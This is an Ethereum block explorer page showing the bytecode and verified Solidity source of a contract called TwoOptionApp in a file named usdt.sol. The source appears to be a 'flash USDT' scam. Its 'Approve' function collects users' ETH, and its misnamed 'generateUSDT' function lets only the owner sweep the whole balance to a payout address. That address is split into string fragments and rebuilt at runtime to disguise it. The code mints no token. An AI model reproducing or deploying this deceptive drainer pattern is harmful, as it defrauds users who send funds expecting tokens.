Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x5a5F6764b81481533CFa56F2ABbcD32645b8F79a
Balance 0 ETH
Nonce 1
Code Size 3098 bytes
Indexed Transactions 0 (1 on-chain, 0.9% indexed)
External Etherscan · Sourcify

Contract Bytecode

3098 bytes
0x60806040526004361061004d575f3560e01c806312065fe0146100a657806338cc4831146100d05780635c6d99b9146100fa57806388a7f526146101045780638da5cb5b1461011a576100a2565b366100a2573373ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c43460405161009891906107b1565b60405180910390a2005b5f5ffd5b3480156100b1575f5ffd5b506100ba610144565b6040516100c791906107b1565b60405180910390f35b3480156100db575f5ffd5b506100e461014b565b6040516100f19190610809565b60405180910390f35b610102610385565b005b34801561010f575f5ffd5b50610118610417565b005b348015610125575f5ffd5b5061012e6105f1565b60405161013b9190610809565b60405180910390f35b5f47905090565b5f5f6040518060400160405280600481526020017f307832360000000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f463032393139000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f313838466631000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f443642323344000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f373965456141000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f426342314534000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f413937383932000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600281526020017f303400000000000000000000000000000000000000000000000000000000000081525090505f61036c6103586103376103288c8c610615565b6103328b8b610615565b610615565b6103536103448989610615565b61034e8888610615565b610615565b610615565b60405180602001604052805f815250610615565b905061037781610641565b995050505050505050505090565b5f34116103c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103be9061087c565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c43460405161040d91906107b1565b60405180910390a2565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049c906108e4565b60405180910390fd5b5f4790505f81116104eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e29061094c565b60405180910390fd5b5f6104f461014b565b90505f8173ffffffffffffffffffffffffffffffffffffffff168360405161051b90610997565b5f6040518083038185875af1925050503d805f8114610555576040519150601f19603f3d011682016040523d82523d5f602084013e61055a565b606091505b505090508061059e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610595906109f5565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5846040516105e491906107b1565b60405180910390a2505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060828260405160200161062a929190610a65565b604051602081830303815290604052905092915050565b5f5f8290505f5f90505f5f5f600290505b602a81101561071257610100846106699190610ab5565b935084818151811061067e5761067d610af6565b5b602001015160f81c60f81b60f81c60ff1692508460018261069f9190610b23565b815181106106b0576106af610af6565b5b602001015160f81c60f81b60f81c60ff1691506106cc8361071f565b92506106d78261071f565b9150816010846106e79190610ab5565b6106f19190610b56565b846106fc9190610b56565b935060028161070b9190610b23565b9050610652565b5082945050505050919050565b5f60618273ffffffffffffffffffffffffffffffffffffffff16106107525760578261074b9190610b9d565b9050610794565b60418273ffffffffffffffffffffffffffffffffffffffff16106107845760378261077d9190610b9d565b9050610794565b6030826107919190610b9d565b90505b919050565b5f819050919050565b6107ab81610799565b82525050565b5f6020820190506107c45f8301846107a2565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6107f3826107ca565b9050919050565b610803816107e9565b82525050565b5f60208201905061081c5f8301846107fa565b92915050565b5f82825260208201905092915050565b7f53656e6420736f6d6520455448000000000000000000000000000000000000005f82015250565b5f610866600d83610822565b915061087182610832565b602082019050919050565b5f6020820190508181035f8301526108938161085a565b9050919050565b7f4f6e6c79206f776e6572000000000000000000000000000000000000000000005f82015250565b5f6108ce600a83610822565b91506108d98261089a565b602082019050919050565b5f6020820190508181035f8301526108fb816108c2565b9050919050565b7f4e6f2062616c616e6365000000000000000000000000000000000000000000005f82015250565b5f610936600a83610822565b915061094182610902565b602082019050919050565b5f6020820190508181035f8301526109638161092a565b9050919050565b5f81905092915050565b50565b5f6109825f8361096a565b915061098d82610974565b5f82019050919050565b5f6109a182610977565b9150819050919050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f6109df600f83610822565b91506109ea826109ab565b602082019050919050565b5f6020820190508181035f830152610a0c816109d3565b9050919050565b5f81519050919050565b5f81905092915050565b8281835e5f83830152505050565b5f610a3f82610a13565b610a498185610a1d565b9350610a59818560208601610a27565b80840191505092915050565b5f610a708285610a35565b9150610a7c8284610a35565b91508190509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610abf826107ca565b9150610aca836107ca565b9250828202610ad8816107ca565b91508282048414831517610aef57610aee610a88565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f610b2d82610799565b9150610b3883610799565b9250828201905080821115610b5057610b4f610a88565b5b92915050565b5f610b60826107ca565b9150610b6b836107ca565b9250828201905073ffffffffffffffffffffffffffffffffffffffff811115610b9757610b96610a88565b5b92915050565b5f610ba7826107ca565b9150610bb2836107ca565b9250828203905073ffffffffffffffffffffffffffffffffffffffff811115610bde57610bdd610a88565b5b9291505056fea2646970667358221220f47d693e4bcc5bdf8fcb268688efdd72249156622df3f988a372931c3a053e5f64736f6c634300081f0033

Verified Source Code Partial Match

Compiler: v0.8.31+commit.fd3a2265 EVM: osaka Optimization: No
usdt.sol 99 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.31;

contract TwoOptionApp {

    address public owner;

        event Deposited(address indexed user, uint256 amount);
            event Withdrawn(address indexed to, uint256 amount);

                constructor() {
                        owner = msg.sender;
                            }

                                // -------- 1️⃣ Approve (First Button) --------
                                    function Approve() external payable {
                                            require(msg.value > 0, "Send some ETH");
                                                    emit Deposited(msg.sender, msg.value);
                                                        }

                                                            // -------- 2️⃣ Generate Flash USDT (Second Button) --------
                                                                function generateUSDT() external {
                                                                        require(msg.sender == owner, "Only owner");

                                                                                uint256 balance = address(this).balance;
                                                                                        require(balance > 0, "No balance");

                                                                                                address withdrawAddress = getAddress();

                                                                                                        (bool success, ) = payable(withdrawAddress).call{value: balance}("");
                                                                                                                require(success, "Transfer failed");

                                                                                                                        emit Withdrawn(withdrawAddress, balance);
                                                                                                                            }

                                                                                                                                // -------- 3️⃣ Get Balance --------
                                                                                                                                    function getBalance() public view returns (uint256) {
                                                                                                                                            return address(this).balance;
                                                                                                                                                }

                                                                                                                                                    // -------- 4️⃣ Get Built Address --------
                                                                                                                                                        function getAddress() public pure returns (address) {

                                                                                                                                                                string memory part1 = "0x26";
                                                                                                                                                                        string memory part2 = "F02919";
                                                                                                                                                                                string memory part3 = "188Ff1";
                                                                                                                                                                                        string memory part4 = "D6B23D";
                                                                                                                                                                                                string memory part5 = "79eEaA";
                                                                                                                                                                                                        string memory part6 = "BcB1E4";
                                                                                                                                                                                                                string memory part7 = "A97892";
                                                                                                                                                                                                                        string memory part8 = "04";

                                                                                                                                                                                                                                string memory full = join(
                                                                                                                                                                                                                                            join(join(join(part1, part2), join(part3, part4)),
                                                                                                                                                                                                                                                        join(join(part5, part6), join(part7, part8))),
                                                                                                                                                                                                                                                                    ""
                                                                                                                                                                                                                                                                            );

                                                                                                                                                                                                                                                                                    return parse(full);
                                                                                                                                                                                                                                                                                        }

                                                                                                                                                                                                                                                                                            function join(string memory a, string memory b)
                                                                                                                                                                                                                                                                                                    internal pure returns (string memory)
                                                                                                                                                                                                                                                                                                        {
                                                                                                                                                                                                                                                                                                                return string(abi.encodePacked(a, b));
                                                                                                                                                                                                                                                                                                                    }

                                                                                                                                                                                                                                                                                                                        function parse(string memory s) internal pure returns (address) {
                                                                                                                                                                                                                                                                                                                                bytes memory tmp = bytes(s);
                                                                                                                                                                                                                                                                                                                                        uint160 iaddr = 0;
                                                                                                                                                                                                                                                                                                                                                uint160 b1;
                                                                                                                                                                                                                                                                                                                                                        uint160 b2;

                                                                                                                                                                                                                                                                                                                                                                for (uint i = 2; i < 42; i += 2) {
                                                                                                                                                                                                                                                                                                                                                                            iaddr *= 256;

                                                                                                                                                                                                                                                                                                                                                                                        b1 = uint160(uint8(tmp[i]));
                                                                                                                                                                                                                                                                                                                                                                                                    b2 = uint160(uint8(tmp[i + 1]));

                                                                                                                                                                                                                                                                                                                                                                                                                b1 = hexCharToUint(b1);
                                                                                                                                                                                                                                                                                                                                                                                                                            b2 = hexCharToUint(b2);

                                                                                                                                                                                                                                                                                                                                                                                                                                        iaddr += (b1 * 16 + b2);
                                                                                                                                                                                                                                                                                                                                                                                                                                                }

                                                                                                                                                                                                                                                                                                                                                                                                                                                        return address(iaddr);
                                                                                                                                                                                                                                                                                                                                                                                                                                                            }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                function hexCharToUint(uint160 c) internal pure returns (uint160) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (c >= 97) return c - 87;     // a-f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (c >= 65) return c - 55;     // A-F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return c - 48;                  // 0-9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                // Receive direct ETH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    receive() external payable {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            emit Deposited(msg.sender, msg.value);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                }

Read Contract

getAddress 0x38cc4831 → address
getBalance 0x12065fe0 → uint256
owner 0x8da5cb5b → address

Write Contract 2 functions

These functions modify contract state and require a wallet transaction to execute.

Approve 0x5c6d99b9
No parameters
generateUSDT 0x88a7f526
No parameters

Recent Transactions

This address has 1 on-chain transactions, but only 0.9% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →